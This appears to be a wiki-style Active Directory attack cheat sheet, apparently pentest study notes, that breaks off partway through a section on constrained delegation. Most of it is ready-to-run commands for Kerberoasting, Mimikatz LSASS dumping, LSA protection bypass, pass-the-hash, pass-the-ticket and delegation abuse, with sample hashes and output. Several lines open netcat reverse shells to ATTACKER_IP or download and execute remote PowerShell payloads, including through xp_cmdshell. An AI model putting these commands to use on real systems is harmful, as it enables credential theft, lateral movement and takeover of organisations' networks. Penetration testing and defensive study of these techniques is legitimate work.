| karmaSMB.py
| -file fileContents -smb2support
| A SMB Server that answers specific file contents regardless of the SMB share and pathname specified.
|-
| smbserver.py
| -share shareName -smb2support -username user -password pass
| A Python implementation of an SMB server. Allows setting up shares and user accounts.
|-
| WMI
|
| Tools for working with Windows Management Instrumentation (WMI).
|-
| wmiquery.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -query query
| Issues WQL queries and gets descriptions of WMI objects at the target system.
|-
| wmipersist.py
| -target-ip ip -username user -password pass -query query [-interval interval]
| Creates/removes a WMI Event Consumer/Filter and executes Visual Basic based on the WQL filter or timer specified.
|-
| Known Vulnerabilities
|
| Tools for exploiting known vulnerabilities.
|-
| goldenPac.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Exploits MS14-068, saves the golden ticket, and launches a PSEXEC session at the target.
|-
| sambaPipe.py
| -target-ip ip -user user -password pass -so soFile
| Exploits CVE-2017-7494, uploads and executes a shared library specified by the user.
|-
| smbrelayx.py
| -target-ip ip -user user -password pass -command command
| Exploits CVE-2015-0005 using an SMB Relay Attack. Tries to gather the SMB session key through NETLOGON.
|-
| SMB/MSRPC
|
| Tools for working with SMB and MSRPC.
|-
| smbclient.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -list
| A generic SMB client for listing shares and files, renaming, uploading, downloading files, and creating/deleting directories.
|-
| addcomputer.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -computer computerName -domain domainName
| Adds a computer to a domain using LDAP or SAMR (SMB).
|-
| getArch.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Connects to a target machine and gathers the OS architecture type using MSRPC.
|-
| exchanger.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Connects to MS Exchange via RPC over HTTP v2.
|-
| lookupsid.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| A Windows SID brute forcer aiming to find remote users/groups using MSRPC Interface.
|-
| netview.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Gets a list of sessions opened at remote hosts and keeps track of them.
|-
| reg.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -command command
| A remote registry manipulation tool through the MSRPC Interface.
|-
| rpcdump.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Dumps the list of RPC endpoints and string bindings registered at the target.
|-
| rpcmap.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Scans for listening DCE/RPC interfaces and gets a list of interface UUIDs.
|-
| samrdump.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Communicates with the Security Account Manager Remote interface to list system user accounts, available resource shares, and other sensitive information.
|-
| services.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -action action
| Manipulates Windows services through the MSRPC Interface, supporting start, stop, delete, status, config, list, create, and change operations.
|-
| smbpasswd.py
| -target target -username user -password pass -newpassword newpass
| An alternative to smbpasswd for changing expired passwords remotely over SMB (MSRPC-SAMR).
|-
| MSSQL / TDS
|
| Tools for working with MSSQL and TDS.
|-
| mssqlinstance.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Retrieves MSSQL instance names from the target host.
|-
| mssqlclient.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -database database [-query query]
| An MSSQL client supporting SQL and Windows Authentications, including TLS.
|-
| File Formats
|
| Tools for working with various file formats.
|-
| esentutl.py
| -file file -action action
| An Extensible Storage Engine format implementation for dumping catalog, pages, and tables of ESE databases (e.g., NTDS.dit).
|-
| ntfs-read.py
| -target target -path path [-recursive] -output outputDir
| An NTFS format implementation providing a mini shell for browsing and extracting an NTFS volume, including hidden/locked contents.
|-
| registry-read.py
| -file hiveFile -key registryKey -recursive
| A Windows Registry file format implementation for parsing offline registry hives.
|-
| Other
|
| Miscellaneous tools.
|-
| findDelegation.py
| -dc-ip ip -user user -password pass
| Lists all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment.
|-
| GetADUsers.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] -outputfile outputFile
| Gathers data about the domain's users and their corresponding email addresses, including last logon and last password set attributes.
|-
| Get-GPPPassword.py
| -gpp gppFile -output outputDir
| Extracts and decrypts Group Policy Preferences passwords using streams for treating files instead of mounting shares. Can parse GPP XML files offline.
|-
| mqtt_check.py
| -target target -port port -users usersFile -passwords passwordsFile
| A simple MQTT example for testing different login options and can be adapted for brute force attacks.
|-
| rdp_check.py
| -target target -port port -users usersFile -passwords passwordsFile
| A partial implementation of [MS-RDPBCGR] and [MS-CREDSSP] to test whether an account is valid on the target host.
|-
| sniff.py
| -interface interface -count count
| A simple packet sniffer using the pcapy library to listen for packets in transit over the specified interface.
|-
| sniffer.py
| -interface interface -count count [-protocols protocols]
| A simple packet sniffer using a raw socket to listen for packets in transit corresponding to the specified protocols.
|-
| ping.py
| -target target -count count
| A simple ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.
|-
| ping6.py
| -target target -count count
| A simple IPv6 ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.
|}

== Kerberoast ==

All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user"
account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline.

<syntaxhighlight lang="bash">
## PowerView:
#Get User Accounts that are used as Service Accounts
Get-NetUser -SPN
#Get every available SPN account, request a TGS and dump its hash
Invoke-Kerberoast
#Requesting the TGS for a single account:
Request-SPNTicket
#Export all tickets using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'

## AD Module:
#Get User Accounts that are used as Service Accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

## Impacket:
python GetUserSPNs.py /: -outputfile

## Rubeus:
#Kerberoasting and outputing on a file with a spesific format
Rubeus.exe kerberoast /outfile: /domain:
#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts
Rubeus.exe kerberoast /outfile: /domain: /rc4opsec
#Kerberoast AES enabled accounts
Rubeus.exe kerberoast /outfile: /domain: /aes
#Kerberoast spesific user account
Rubeus.exe kerberoast /outfile: /domain: /user: /simple
#Kerberoast by specifying the authentication credentials
Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:
</syntaxhighlight>

== Mimikatz ALL COMMANDS ==

Source: https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#mimikatz

<syntaxhighlight lang="bash">
#The commands are in cobalt strike format!
#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user: /ntlm:<> /domain:
#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets
#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg
#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp
#List cached MasterKeys
mimikatz sekurlsa::dpapi
#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys
#Dump SAM Database
mimikatz lsadump::sam
#Dump SECRETS Database
mimikatz lsadump::secrets
#Inject and dump the Domain Controler's Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject
#Dump the Domain's Credentials without touching DC's LSASS and also remotely
mimikatz lsadump::dcsync /domain: /all
#List and Dump local kerberos credentials
mimikatz kerberos::list /dump
#Pass The Ticket
mimikatz kerberos::ptt
#List TS/RDP sessions
mimikatz ts::sessions
#List Vault credentials
mimikatz vault::list

</syntaxhighlight>

=== LSA Protection ===

What if mimikatz fails to dump credentials because of LSA Protection controls ?

* LSA as a Protected Process (Kernel Land Bypass)

<syntaxhighlight lang="bash">
#Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
#Now lets import the mimidriver.sys to the system
mimikatz # !+
#Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
#Finally run the logonpasswords function to dump lsass
mimikatz # sekurlsa::logonpasswords
</syntaxhighlight>

* LSA as a Protected Process (Userland "Fileless" Bypass)
[https://github.com/itm4n/PPLdump PPLdump]

* [https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland Bypassing LSA Protection in Userland]

* LSA is running as virtualized process (LSAISO) by Credential Guard

<syntaxhighlight lang="bash">
#Check if a process called lsaiso.exe exists on the running processes
tasklist |findstr lsaiso
#If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.
#Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides
mimikatz # misc::memssp
#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
</syntaxhighlight>

* [https://adsecurity.org/?page_id=1821 Detailed Mimikatz Guide]

* [https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a Poking Around With 2 lsass Protection Options]

== Pass the Hash ==

[https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash]

https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/

Once you have the hash of the victim, you can use it to impersonate it.

<syntaxhighlight lang="bash">
# Mimikatz
# This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user (similar to the runas /netonly trick but you don't need to know the plain-text password).
# 1
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
# 2
privilege::debug
sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38
------------------------------------------------------------------
# Pass-the-hash from linux
# Connect via psexec using PTH
psexec.py -hashed LM:NT user@ip
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161
# Connect to RDP using PTH
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
# Pass the hash with evil-winrm
evil-winrm -u -H -i
# SMBclient
python smbclient.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105
# Crackmapexec
crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig
# rpcdump
python rpcdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105
# MSSQL
impacket-mssqlclient administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth
/opt/MSSqlPwner/MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive

---------------------------------------------------------------
# PTH toolkit builtin in Kali linux
# smbclinet
pth-smbclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$
# wmic
pth-wmic -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 "select Name from Win32_UserAccount"

# rpcclient
pth-rpcclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105
# net
pth-net rpc share list -U 'ignite\Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38' -S 192.168.1.105
# curl
pth-curl --ntlm -u Administrator:32196B56FFE6F45E294117B91A83BF38 http://192.168.1.105/file.txt
------------------------------------------------------------------
# Impacket Windows compiled tools
psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
# From SysInternals
PsExec.exe -i -u domain\user cmd.exe
wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
atexec.exe (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
# Powershell wmiexec
https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1
Invoke-WMIExec -Target 192.168.1.105 -Domain test.local -Username Administrator -Hash 32196B56FFE6F45E294117B91A83BF38 -Command "cmd /c mkdir c:\hacked" -Verbose
------------------------------------------------------------------
# Invoke-TheHash
https://github.com/Kevin-Robertson/Invoke-TheHash
# Invoke-SMBExec
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
# Invoke-WMIExec
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
# Invoke-SMBClient
Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose
# Invoke-SMBEnum
Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74

------------------------------------------------------------------
# Powershell Empire
usemodule lateral_movement/invoke_smbexec
set ComputerName WIN-S0V7KMTVLD2.ignite.local
set Username Administrator
set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
set Listener http
execute

-----------------------------------------------------------------
# Metasploit
use exploit/windows/smb/psexec
set rhosts 192.168.1.105
set smbuser administrator
set smbdomain test.local
set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
exploit
</syntaxhighlight>

== Over Pass the Hash/Pass the key (PTK) ==

This attack aims to '''use the user NTLM hash to request Kerberos tickets''', as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially '''useful in networks where NTLM protocol is disabled''' and only '''Kerberos is allowed''' as authentication protocol.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key]

<syntaxhighlight lang="bash">
# We need the NTLM hash or password of the target user account in order to perform this attack. When hash is obtained we can request a TGT. We can access any service or machine where the user account has permission.
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
-aesKey [AES Key] to specify to use AES256
</syntaxhighlight>

== Pass the Ticket ==

Similar to PTK, but instead we steal the ticket and use it to authenticate as its owner.

<syntaxhighlight lang="bash">
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

# Swapping Linux and Windows tickets between platforms
https://github.com/Zer1t0/ticket_converter (Ticket converter script)
# Only param needed is current ticket and output file.
root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
# To convert in windows, use Kekeo https://github.com/gentilkiwi/kekeo
-----------------------------------------------------------------------
# Pass the ticket attack
# Linux
export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
# Windows
# Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

-----------------------------------------------------------------------
# We can obtain the Kerberos encryption keys from memory by using mimikatz with the following commands:
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
# Depending on the available keys, we can run the following commands on mimikatz to get a reverse shell via Pass-the-Key:
# If we have the RC4 hash:
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# If we have the AES128 hash:
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# If we have the AES256 hash:
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

</syntaxhighlight>

== LAPS ==

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps]

<syntaxhighlight lang="bash">
https://github.com/leoloobeek/LAPSToolkit
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
</syntaxhighlight>

== MSSQL Trusted Links ==

If a user has privileges to '''access MSSQL instances''', he could be able to use it to '''execute commands''' in the MSSQL host (if running as SA).

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links]

<syntaxhighlight lang="bash">
# Powershell
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.psd1
Import-Module .\PowerupSQL.psd1
#Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
# FROM INSIDE OF THE DOMAIN
#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT ""'
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
</syntaxhighlight>

== Delegations ==

=== Unconstrained Delegation ===

This a feature that a Domain Administrator can set to any '''Computer''' inside the domain. Then, anytime a '''user logins''' onto the Computer, a '''copy of the TGT''' of that user is going to be '''sent inside the TGS''' provided by the DC '''and saved in memory in LSASS'''. So, if you have Administrator privileges on the machine, you will be able to '''dump the tickets and impersonate the users''' on any machine.

So if a domain admin logins inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).

'''What is DCSync attack?'''

A DCSync attack '''uses commands in Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to pretend to be a domain controller (DC) in order to get user credentials from another DC'''

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation]

<syntaxhighlight lang="bash">
# You can find Computer objects with this attribute checking if the userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
# Export tickets with Mimikatz
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Load the ticket of Administrator (or victim user) in memory with Mimikatz or Rubeus for a Pass the Ticket.
.\Rubeus.exe ptt /ticket:

# Automatically compormise a print server
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation#automatically-compromising-a-print-server
.\SpoolSample.exe printmachine unconstrinedmachine

# If the TGT is from a DC, you could perform a DCSync attack and get all the hashes from DC. https://www.youtube.com/watch?v=QfyZQDyeXjQ
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
# Use secretsdump if my user have DCsync rights
python3 secretsdump.py aghanim:password@10.10.10.161
</syntaxhighlight>

=== Unconstrained Delegation 2 ===

[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained (KUD) Unconstrained - The Hacker Recipes]

[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#unconstrained-delegation OSEP Cheat Sheet | 0x4rt3mis]

[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]

* Definition & Theory:
'''Unconstrained Delegation''': An extension to Kerberos authentication to solve double-hop issue, allows a service to impersonate the user to other services.

* '''Ticket Granting Ticket (TGT)''': Issued after user login. Helps in obtaining service-specific tickets.

* '''Ticket Granting Service ticket''' (TGS): Obtained using TGT for a specific service.

* '''Unconstrained Delegation Flow''':
User requests a TGS for a service, includes forwardable TGT.

* KDC returns TGT with the forward flag and a regular TGS.

* TGT embedded into the TGS, sent to service.

* Service can impersonate the user for backend services.

* Service accounts can also be configured with unconstrained delegation if the application executes in the context of the service account rather than the machine account.

'''Enumeration '''

The information for unconstrained delegation is stored in the userAccountControl property as TRUSTED_FOR_DELEGATION, which is represented with a numerical value of 524288.

==== Dumping TGT if a user already have authenticated ====

<syntaxhighlight lang="bash">
# Using PowerView to enumerate
# This can also be done with BloodHound
Get-DomainComputer -Unconstrained
...
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# If you find a server thats vulnerable to unconstrained delegation you must perform lateral movement or compromise vulnerable application on the machine.
# We assume we have performed lateral movement
# First; Extracting User's TGTs:
mimikatz # privilege::debug
# Then dump the tickets. In this example a webserver is running on the target. Since the webserver is configured with Windows Authentication, we have to wait for an admin to visit the website before we can dump the ticket for that admin user.
mimikatz # sekurlsa::tickets
# Export TGT:
mimikatz # sekurlsa::tickets /export
# Look for Ticket Granting Ticket (TGT) for the user of interest (e.g., admin).
# Inject the TGT into the Current Session:
mimikatz # kerberos::ptt [0;9eaea]-2-0-60a10000-admin@krbtgt-PROD.CORP1.COM.kirbi
# TGT for the admin user is now loaded in memory.
# Test Access:
PsExec.exe \\cdc01 cmd
# To use impacket-psexec
# 1 - Convert the .kirbi ticket to a .ccache file using a tool like kirbi2ccache.
# 2 - Set the KRB5CCNAME environment variable to the path of the .ccache file:
export KRB5CCNAME=/path/to/your/file.ccache
# 3 - use psexec.py
psexec.py -k -no-pass PROD.CORP1.COM/admin@dc01 cmd.exe
</syntaxhighlight>

==== PrinterBug (from Windows) ====

<syntaxhighlight lang="bash">
# Another method that does not rely on user interaction
# Check if the print spooler service is running on the domain controller:
PS C:\Tools> dir \\cdc01\pipe\spoolss
# Now we will oerce the SYSTEM account to authenticate locally via the MS-RPRN RPC interface.
# Instead of using mimikatz to see through many TGTs we will use rubeus instead. This will not write to disk!
# Launch rubeus in monitor mode and filter for the machine account cdc01.
Rubeus.exe monitor /interval:5 /filteruser:CDC01$
# Trigger the print spooler change notification
# DC01 is target machine, APPSRV01 is capture server
SpoolSample.exe CDC01 APPSRV01
# Now inject the base64 encoded ticket
Rubeus.exe ptt /ticket:[Base64EncodedTicket]
# The CDC01$ account has domain replication permissions, allowing for dcsync to dump password hashes.
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
# With krbtgt NTLM hash we can craft a golden ticket.
# We can also dump the hash for the domain admin and
lsadump::dcsync /domain:prod.corp1.com /user:prod\administrator
impacket-psexec administrator@192.168.229.70 -hashes :2892d26cdf84d7a70e2eb33fc5rk56l7
[*] Requesting shares on 192.168.229.70.....
[*] Found writable share ADMIN$
[*] Uploading file bUwUVqLI.exe
[*] Opening SVCManager on 192.168.229.70.....
[*] Creating service FyXV on 192.168.229.70.....
[*] Starting service FyXV.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
</syntaxhighlight>

==== PrinterBug (from Linux) ====

[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained]

[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]

[https://github.com/dirkjanm/krbrelayx GitHub - dirkjanm/krbrelayx: Kerberos unconstrained delegation abuse toolkit]

<syntaxhighlight lang="bash">
# If MachineAccount is vulnerable to UC, but you have compromised credentials to that machine and have admin, use secrets dump to dump NTLM hash of the machineAccount.
# 0. Look for hostname and NTLM hash
impacket-secretsdump domain/user:password@targetIP
...
CORP\FILES01$NTLM-HASH
...
# 1. Edit the compromised account's SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)
addspn.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -s 'HOST/attacker.DOMAIN_FQDN' --additional 'DomainController'
python addspn.py -u foo.lan\\ownedUser -p userPassword -s host/PWNED.foo.lan ldap://dc1.foo.lan
# 2. Add a DNS entry for the attacker name set in the SPN added in the target machine account's SPNs
dnstool.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -r 'attacker.DOMAIN_FQDN' -d 'attacker_IP' --action add 'DomainController'
python dnstool.py -u foo.lan\\ownedUser -p userPassword -r PWNED.foo.lan -a add -d DC1.foo.lan
# 3. Check that the record was added successfully (after ~3 minutes)
nslookup attacker.DOMAIN_FQDN DomainController
# 4. Start the krbrelayx listener (the tool needs the right kerberos key to decrypt the ticket it will receive)
# 4.a. either specify the salt and password. krbrelayx will calculate the kerberos keys
krbrelayx.py --krbsalt 'DOMAINusername' --krbpass 'password'
# 4.b. or supply the right Kerberos long-term key directly
krbrelayx.py -aesKey aes256-cts-hmac-sha1-96-VALUE
sudo python krbrelayx.py --krbsalt foo.lanownedUser --krbpass userPassword
# 5. Authentication coercion
# PrinterBug, PetitPotam, PrivExchange, ...
printerbug.py domain/'vuln_account$'@'DC_IP' -hashes LM:NT 'DomainController'
# 6. Check if it works. Krbrelayx should have received and decrypted a ticket, extracting the coerced principal's TGT.
# There should be a krbtgt ccache file in the current directory. And it can be used by
export KRB5CCNAME=`pwd`/'krbtgt.ccache'
$ python secretsdump.py -k DC1.foo.lan -just-dc
</syntaxhighlight>

=== Constrained Delegation ===

If a user or computer is allowed for "Constrained Delegation" it will be able to '''impersonate any user to access some services in a computer'''. Then, if you '''compromise the hash''' of this user/computer you will be able to '''impersonate any user''' (even domain admins) to access some services.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation]

<syntaxhighlight lang="bash">
# userAccountControl
# If a service account has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), then it can obtains a TGS for itself (the service) on behalf of any other user.
# msDS-AllowedToDelegateTo
